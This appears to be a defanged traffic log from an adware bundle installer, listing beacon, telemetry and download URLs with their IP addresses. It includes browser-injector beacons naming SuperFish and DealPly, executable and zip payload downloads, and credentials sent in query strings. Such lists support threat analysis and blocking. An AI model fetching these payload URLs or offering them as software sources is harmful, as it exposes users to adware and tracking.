hxxp://rep.shopper-pro.com/app/ping.ashx?e=aL/yzOcQGPnSR sqobBJuYW8YRMNt8VQ 0R MP RL3UJOLXkS9L/h2bktPzt6Fdq7vv4g8eyszzJiqDUFiGk4RlkhDbG/CqQBV5BHVIeglKBRen/2tOqQlo8H6qezB8RqTFlxlzn4VIl8JkmZ/Wy9wpDKX/a3tH594khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib IQdz/i1sAD90sM6GWwsNGomsaDQQ rjR3l91t6xJHQbFmY65E Yo7GIYeYyU5rwaau9xWXQx//	173.239.4.105
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=A3ANzFv7fWBMy1Jq1olDf9JH6yqhsEm5vLHW6X/VYPFAXdQqxJ1va1k2AtpRMnokIR1sKxPFdTdxsModaWePoUngbd48QfWmqZAjcwaDIMOmla4JYvWk GRDvcFNNMq6rRJV5ICPhWP 7rPtSKe/ IzxRKOyNFpG6DDk8zW/hUJwS/7uvkzjRNFIOcmDDpCEFAL52sIXt4XkathCyw/jA6hWny52hzrnjlpUfr/spfXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvacfllhTnkPN/JMGdi6/aHHY mn43iuXw4UebwBvqb3TmKHGooyLyFWstuVUSQ9G23	54.230.202.192
hxxp://rep.shopper-pro.com/app/ping.ashx?e=KSz5qzb2KgK3/TSRmvrD0nd9AbEjihVqcEXCuD7ISRcSZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EpbLW Y9uI7YHEKKKBi1571KZ41CPq3IAdxkSy2qD9jzWUhCdyxQ/YwyquPELD4STKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRsFG5pEsdtec8WVIb8jn613X/B33qtY9StxWRXBLnhVrwFn ZIjHfjTZZRhdPnykVe i1fmZNi7/38Km4JMgAXQ==	173.239.4.105
hxxp://installer.betterinstaller.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=1&index_in_screen=1&index_in_session=1&0.5814782007114586
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.mystartsearch&update1=ref,smt&update2=identifier,installer&update3=version,6.3.76.1518&update4=nation,us&update5=language,en	65.255.35.144
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=mystartsearch&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=2&index_in_screen=1&index_in_session=2&0.5860080262724051
hxxp://www.inisxriy.com/infv3/index/2606/bnd/6.3.76.1518/7a9c839b08544f0d77986f6e82d16b3f	50.23.120.57
hxxp://rep.shopper-pro.com/app/ping.ashx?e=1Nq73JbirQ9iZHP23jXoQvg0OZIJiuHTTEgCpOx0T0GQL2F0hg1RicLJlw9FGc64Q8eBMx9XGU1pk7byKP46Akb2k6Rn898YXCSgtUXqN5/aaUzToxOfiz0mbos5SmUuL1RonSUM0G8HF9ed47qLJdLkq GrncHeyXBDP8Ld0 yRF51HAH62ECVvD8H/vspb3nYGQbB0Ngd6qHIwZm58EpbLW Y9uI7YjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9s6SjYYF5i7guVX4ezbhi3MtTg/jMh0Vmo4F8eoStvhUZKLGM4w2We7//bU6as8loQPc99SOr9PevxiOfLOKnTBFHdk/gnZ pY=	173.239.4.105
hxxp://www.inisxriy.com/files/zip_r3/2606_ba3a47c5781b0c9bb6f586b6519791f6/1.zip	50.23.120.57
hxxp://rep.shopper-pro.com/app/ping.ashx?e=M5cPy8d51cMu52aJyrcE1Imqj5MhqmpXqLyqyeqrbnpSxKnyZZfBI2bktPzt6FdqaDdJjUK6ZbZmYXlC/iuJE0XZUACP9tPHYCpHZc9ZUaGCtNyV221ZgGNGUQeeEC1PbNA6ThUAQyrQKPlPto4slFqp2iqeGATEOBfHqErb4VGSixjOMNlnu//21OmrPJaED3PfUjq/T3rafyBNHzK365AtX799FH7yyT3M6a2fcjEV4MxlenebXXYLhlxvbriVN4cHXyV2IG/1JlPKcaeEmRI5LmyoF5AlcrEiEDP1jKqqdT9GIMWRuvUmU8pxp4SZgE9L8wai8UDg/yVe4Z/h4obfQeCZJmDfQ3SGYOTb0QsR0xabMkbgoFk2AtpRMnokIR1sKxPFdTdxsModaWePoUngbd48QfWmqZAjcwaDIMOmla4JYvWk OKYFuT/lA02B7vQbA2v4xLnM9hj6m8lSdjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoEKGvyB2b3a jshC5mOJyuoqWZgrk4wag6ZUj1vOxtjLkaF8dOqaOvPVi33qPwefc AZSpRiXLg4A==	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=043Mckb8LnjKYf/qJ5z9HztwOqvEtO32pfgKm0OEa/AyIvs8NVvu9kXFDxkTgufFWTYC2lEyeiTfITdK7bydInc0foGk6e4/ZUJr/TCrDgTJRj7MvvoN91OAdVu9uBuJ3uqB6Mv dB27cUxOKK2MzR4jZeTGaYuG2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gQoa/IHZvdr6OyELmY4nK6ipZmCuTjBqDplSPW87G2MuRoXx06po689WLfeo/B59z4BlKlGJcuDg	173.239.4.105
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.dlzip1.mystartsearch.finish,5	65.255.35.144
hxxp://rep.shopper-pro.com/app/ping.ashx?e=t1D UTAmiediZHP23jXoQtIuZ0QlrV9vsTadiXuEw/FQZA4QTL6INXiz8MvwnC6V7QroWSH/ZBHqMDSi8JPnXntmD8Dkx2dt5mDgmLsXV3a7ZC ZeIWVzkCHWFRKCIDkWuHFN9lRYXm3sb/Jc9bi4CY6tkU PjWGlHVWy8T0I6XgvyObhcmYFVDq65iJ/PSima3r97HUBE6rMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZ3jd05TL7uAtlUQtjil7hxOYDUfOT1J72qjTxYTaKD	173.239.4.105
hxxp://online.goobzo.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=	212.143.22.214
hxxp://online.goobzo.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=2b739ee3-657b-4b28-ab6c-93812cc4b452&Password=CuYNL6Dr&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1422581318&SBPIDS=1&KA=1	212.143.22.214
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=2b739ee3-657b-4b28-ab6c-93812cc4b452&Password=CuYNL6Dr&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1422581318&SBPIDS=1&KA=1	212.143.22.214
hxxp://online.goobzo.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=	212.143.22.214
hxxp://online.goobzo.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=3d25af1c-6093-4a17-8fb9-0df34fdf8db8&Password=DESvnCzg&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1422581319&SBPIDS=1&KA=1	212.143.22.214
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=3d25af1c-6093-4a17-8fb9-0df34fdf8db8&Password=DESvnCzg&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1422581319&SBPIDS=1&KA=1	212.143.22.214
hxxp://log.very911.com/install.gif?bundle=mystartsearch&ptid=smt&uid=535559167_198339_B48A115F	184.173.191.224
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=2b739ee3-657b-4b28-ab6c-93812cc4b452&Password=CuYNL6Dr&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1422581320&SBPIDS=1	212.143.22.214
hxxp://download.dynect.mozilla.net/?product=firefox-34.0.5-complete&os=win&lang=en-US
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2ru /iDx7KzPMmKoNQWIaThGWSENsb8KpDg802 jf0ZKWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUM4F8eoStvhUZKLGM4w2We7//bU6as8loQPc99SOr9PeiJytV6Yytda&product=EXTFirefox&rnd=1422581322&it=0&action=Init&text=Ext version: 1.0.0.4. Firefox version: 29.0.1. DB name: database1_0_0.json. DB version: 1.0.0.6	173.239.4.105
hxxp://www.google.com/	173.194.113.211
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2ru /iDx7KzPMmKoNQWIaThGWSENsb8KpDg802 jf0ZKWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUM4F8eoStvhUZKLGM4w2We7//bU6as8loQPc99SOr9PeiJytV6Yytda&product=EXTFirefox&rnd=1422581322&it=1&action=Inject&text=SuperFish	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2ru /iDx7KzPMmKoNQWIaThGWSENsb8KpDg802 jf0ZKWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUM4F8eoStvhUZKLGM4w2We7//bU6as8loQPc99SOr9PeiJytV6Yytda&product=EXTFirefox&rnd=1422581322&it=1&action=Inject&text=GeneralInjector	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2ru /iDx7KzPMmKoNQWIaThGWSENsb8KpDg802 jf0ZKWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUM4F8eoStvhUZKLGM4w2We7//bU6as8loQPc99SOr9PeiJytV6Yytda&product=EXTFirefox&rnd=1422581322&it=1&action=Inject&text=DealPly	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2ru /iDx7KzPMmKoNQWIaThGWSENsb8KpDg802 jf0ZKWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUM4F8eoStvhUZKLGM4w2We7//bU6as8loQPc99SOr9PeiJytV6Yytda&product=EXTFirefox&rnd=1422581322&it=1&action=Inject&text=JollyWallet	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2ru /iDx7KzPMmKoNQWIaThGWSENsb8KpDg802 jf0ZKWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUM4F8eoStvhUZKLGM4w2We7//bU6as8loQPc99SOr9PeiJytV6Yytda&product=EXTFirefox&rnd=1422581322&it=1&action=Inject&text=GoobzoInfo	173.239.4.105
hxxp://a1284.g.akamai.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar
hxxp://www.google.com.ua/?gfe_rd=cr&ei=Nd7KVJfhA4eu8weh74DAAQ	173.194.113.223
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.regok	65.255.35.144
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.ds	65.255.35.144
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.nt.ff.tab	65.255.35.144
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.finish	65.255.35.144
hxxp://rep.shopper-pro.com/app/ping.ashx?e=xY8ohDYpM j7QFMK1iR6lpgcO7f7vaYd/AcH8PricLVP XtorcoTKl9JmdJZXAb1wbkcTiNWmo/wleHdxuxplDwRWvE0PuWdfYWeTugkIGZ XTIrvDDxtMg0cf98KNqaOyELmY4nK6ipZmCuTjBqDplSPW87G2MuHTL U0hNxCnPCU8GQVxGgK2dgS8O/TaQhbdsE06OTTBOUDdMBQAxomYsAOzz7hm2v6mMnRFV9GiVkwuPeIXKySOMfQtN1YRFb/oTUjX4tfR/IsL6qrunF Z nf6xdrvQQnhXTyBWjWbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn228eezy0VYdU5l6kGsLGUjlAO3ZfaMMISPFlSG/I5 td1/wd96rWPUrcVkVwS54Va8BZ/mSIx343F4oagmR8wVa2aEDZbAFTl	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=A3ANzFv7fWDiV tpLHtO 8OEpI2yYUZMeq10/GADmDD6npfW4udM4fqFPNHe3DAVndSFVUHxaEBEKo5xU2IcROgga322f3p0fD6sFy6LlDEeU1 iuCr9NmjyH8WKxgZJIN4bCnFSYHcJAB6qUSUuCWLBycTq9GrVu8irurdk29vNjtBw5FD/fBfPsjAwYrz0BON6bpifNP90ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1rWa/VS ZkIKo00wbB7BgLpnWp8nLSX1ZeBh6JrBVv WeIpNafo35XeM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj26C9PLeYwYaPTl2pfP1 VeNrSApQr3TgxTsPf/PibBcqNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpglZQYv/RzJnyucPTMPOBI=	173.239.4.105
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=2b739ee3-657b-4b28-ab6c-93812cc4b452&Password=CuYNL6Dr&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1422581330&SBPIDS=1	212.143.22.214
hxxp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=753968&mode=nolsp	107.20.238.80
hxxp://test.youtubeaccelerator.com/youtube_accelerator/wizardtest/SMALLTEST.HTM?random=755793&mode=nolsp	107.20.238.80
hxxp://rep.shopper-pro.com/app/ping.ashx?e=R278SAfkg0Uu52aJyrcE1GNCBe60InD43Pumfblmu5B9EKWfiY9Pr9w9nGpQKxy70q Jjl2n6lTqMDSi8JPnXntmD8Dkx2dt2o5ApaNqnksNP54lXZxmki4hEl9YCF5VyTBnYuv2hx2Ppp N4rl8OFHm8Ab6m905ihxqKMi8hVqaofRuwxqimZrKaRosA0sEv7z7MjTyjNiO3DXOJ1i6Kt 8c0UlQNB3cBTI8phW9IJGY9nEp85gJBGpTYTs8TL3zTXcwevL5ETe2y22DE7sEM9QBsWl5vvlVBteQHRXnREE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93DG2fyXpvPO0S3k08LxhX7SXiV rH5PVOR5TX6K4Kv02aPIfxYrGBkkg3hsKcVJgdwkAHqpRJS4JYsHJxOr0atW7yKu6t2Tb2xnVxK3AEApgYrw8pwWnuII=	173.239.4.105
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.hp	65.255.35.144
hxxp://www.inisxriy.com/infv3/index/2606/3rd/6.3.76.1518/37f90e7172ce364049fd177205bf4b1d	50.23.120.57
hxxp://www.inisxriy.com/files/zip_r3/2606_ecd79b66f49d1d1c707187ca5bffb0b3/2.zip	50.23.120.57
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.wpm	65.255.35.144
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.ient	65.255.35.144
hxxp://www.alchcz.cc/files/third/2015/01/16/172511/350/XTab_4.0.2.1716.exe	50.97.209.230
hxxp://installer.betterinstaller.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=mystartsearch&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=2&index_in_screen=1&index_in_session=2&0.44462802650747585
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=3&index_in_screen=1&index_in_session=3&0.9755537532330936
hxxp://sourceapp.info/mg?alpha=GHwbTD8MQCtGKW97NGYwJzVZXzpGbx9wf2NxRkthTXg2GnpbQ0w3IxJID04YNR4DEEdsA2hKfXYPV2JcaCt6RDsHClBXOD8pBExici80djBaYB0dYw55Ti0/bhIZEyMeLUdHOk0AGydRGj4HSm5Eah4ZQxgcLA1wRycKEWxMPzodRHZ U1U5QyULQ2hldm0jN11kC0AlA3pYZWE9HxgJLithIkUx
hxxp://sourceapp.info/mg?alpha=GHwbTD8pRCNhC1gyNGYwGThIQT8YOhk9TWZkEQpVb1laUz45CQY+UWhLGjgbMWgDETFpfnxJfHJzQxUhC3QhQUpgKwcDNEgJQzZrVi9y
hxxp://sourceapp.info/mg?alpha=HnUrS1QFb0pJLlxNBGFbITxpWFFAVUdjJBsKFA==
hxxp://sourceapp.info/fp?alpha=KGoDSTRzaGgCLCpKLGM7KS5QRDQoNhU4dQ9rQlZoL34OSXIqG3E3LCIsaT4RaXUCaEE1GG05AykeJ2AgMDcNODZPb0AjO3AzHVoiDT54RCtrawAFaj9yVD0xVgQDCyEtPkJdMHgQCjZYLy0fUmZyeQ4dSykUbU9rNWxSFzR/fCFEJDsvEBdnZDMTXGUAen0nJjt2FR85Lj5eJTFfFAdeNX8yT1w1bRcDL1wjOE1NdSd7Fk4cOEhvXSRpYTJNfXhhJgFSIj0SDWwmakobOAEpZVtSHmBXWjwzbVY0NV4CAQk+f3gDUlYkSFdgHWk4axozISJSSQpGUG5CdTBrUC80aHomHU83aElVNg0zE1EQXG0EOjAfcwQFGTdsUig1XgIIeSpdPC0rRX9bTBt+agVS
hxxp://sourceapp.info/ii?alpha=KGoDSTQ6LRc6dx9wLGM7KS5QRDQoNg9hOR1ZF1hxejZJDnE9G2BgH2h7Sj4lNGpfWh1qZTlGdDRtVwsiLCF9QFxEa0NRNn0gTA9sFTsaZGsqd0BJfn04W0c8KAwFfVlaJlZbRXQLBz8oXzVtOhB2YQ5uOVwVakoAPWVXHTRweXJKVABlQ1UzfCgVTX9WY2slNWhyARx+ajoAR3YBCVheYG5nAB1ka0JWaShod3lCZHRiBgJBKhxtVXcyaVAUNHpqIDUdFWUkNiQmdVEFIQFnEn5oPilCW3QuaVIoZgdAF1RraG4dUkwkRUFgGXV+W18CLSJSQw9rDGpbFnYzBEBhbmYgFxMaeD9FIj9jVw84CzRlLSZsaAQGbzhvVyV3C0ZHUnt7Kx8OYiYGCS9bNCgJECYoLVhLRV1COhcvdzRCDUdzZjscFlYLBQR2LHUMWj8SZ3ExaGg2CFF+bylbPDRCBQEJPnNqUl8xdxMDNV8sIh1Ob3R9DBtMPkgpRhBJKwNXdzEvGTQFFyoURVQgdFEJMAh6FjdVGRV8CBxnLA0lQAtCWFh9OG4BDDx8AEkyW1tgARAQKy4=
hxxp://sourceapp.info/if?alpha=KGoDSTR0NAoRfxJvLGM7KS5QRDQoNg9hOR1ZF1hxejZJDnE9G2BgH2h7Sj4lNGpfWh1qZTlGdDRtVwsiLCF9QFxEa0NRNn0gTA9sFTsaZGsqd0BJfn04W0c8KAwFfVlaJlZbRXQLBz8oXzVtOhB2YQ5uOVwVakoAPWVXHTR4bHIqGhM0HSxsIHJuFT0ICTJ+cjkuE0UuM2xAczlcBAAONi46QV04YxQAPV4uLAkbMCIORENFcUklCyprLgcDdnhpDQsdIGVAVSx5KBxOYVR0dCEzaHcTTz1hEwlmOTtnF1RranIfCjwaT11rBW1rA19jcGFURQw+Qy4NI3ZhL0xxb2A8FhQCeCYMbC1pUg9xU3oVZWk8I0ZbMWExB2kkIBQRTX1seAYAb20cEzlEKzYYSWV1bEVJCm5FPh5mdD0BTjInL35XQlA3AgljJ2EYOT8DNixkbnpuYEYxejoCJVcaVUVeazctARk8eQBdPRonYQkeI3l1BgBJKB57Fic5bFIfJy01ek9IRGlLVTNzMRFaNRBnE1pxOzRQBHhYEhFkdgsUZ1Jqan4OAyEeBmBMOVM4axYmL2xySQ5xTzgieU08JHxJ
hxxp://installer.betterinstaller.com/pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=3&index_in_screen=1&index_in_session=3&0.49406081626839315
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=appshat_madness&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=4&index_in_screen=1&index_in_session=4&0.5660681783444934
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe
hxxp://errors.crossrider.com/utility.gif?error=start&report=mini_s&ver=820&action=na&ms_vr=3&clock=0&rnd=47	208.85.150.249
hxxp://errors.crossrider.com/utility.gif?report=fdata&f=3&c=820&i=10&n=ms_started&rnd=5091	208.85.150.249
hxxp://errors.crossrider.com/utility.gif?report=fdata&f=3&c=820&i=20&n=ms_start_download&rnd=32020	208.85.150.249
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_d
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_c
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_b
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_a
hxxp://cds.c5z6s5a3.hwcdn.net/smt2b/all/hat/row/setup.exe_e
hxxp://errors.crossrider.com/utility.gif?report=fdata&f=3&c=820&i=30&n=ms_download_success&rnd=25287	208.85.150.249
hxxp://errors.crossrider.com/utility.gif?report=fdata&f=3&c=820&i=35&n=ms_about_to_exc&rnd=25417	208.85.150.249
hxxp://errors.crossrider.com/utility.gif?error=mem_strt&report=mini_s&ver=820&action=na&ms_vr=3&clock=3268&rnd=4346	208.85.150.249
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=100&n=init_start_funnel_step_name&rnd=1422581366
hxxp://ipgeoapi.com/	54.235.78.30
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=started&app=65743&appver=0&ver=1_36_01_22&version_date=15-01-29&bic=4FB4C73F09554441862F9E06CA998CBBIE&verifier=aeee04e8f278dfad4abf88a95210feb1&upi=d5d8d8a61601751d467a5854a16ce35a&procid=CFB42ADE33E740A9AAEF0EB768281B52PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_21&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147475456&asw4=0&crtnm=ColoColoApps&procstarttime=1422581366&procruntime=3&rnd=1422581369
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=3&ibic=4FB4C73F09554441862F9E06CA998CBBIE&verifier=aeee04e8f278dfad4abf88a95210feb1&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1422581366&asw=0_1073750533_-2147475456_0&browser=ff,ie,de&rnd=1422581366
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=200&n=init_end_funnel_step_name&rnd=1422581370
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=300&n=deploy_start_funnel_step_name&rnd=1422581370
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1422581371
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=500&n=deploy_notification_start_funnel_step_name&rnd=1422581372
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1422581372
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=700&n=deploy_ch_start_funnel_step_name&rnd=1422581372
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=800&n=deploy_nova_start_funnel_step_name&rnd=1422581372
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=900&n=deploy_ff_start_funnel_step_name&rnd=1422581372
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1422581374
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000820&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1422581374
hxxp://cds.c5z6s5a3.hwcdn.net/plugin/apps/65743/manifest/1_36_01_22/ie10/manifest.xml?ver=21&rnd=2477
hxxp://s3-website-us-east-1.amazonaws.com/stats.gif?action=daily&app=65743&bic=4FB4C73F09554441862F9E06CA998CBBIE&verifier=aeee04e8f278dfad4abf88a95210feb1&ver=1_36_01_22&installtime=1422581366&os=7&browser=ie&browserver=10&ffver=29&chromever=35&srcid=000820&subid=0&zdata=appshatmadness&appver=21&bgver=1&pluginsver=17&curtime=1422581377&lifetime=11&rnd=3225
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=2b739ee3-657b-4b28-ab6c-93812cc4b452&Password=CuYNL6Dr&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1422581378&SBPIDS=1	212.143.22.214
hxxp://cds.c5z6s5a3.hwcdn.net/plugin/apps/65743/manifest/1_36_01_22/ie10/manifest.xml?ver=21&rnd=1954
hxxp://test.youtubeaccelerator.com/finishinstall?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE	107.20.238.80
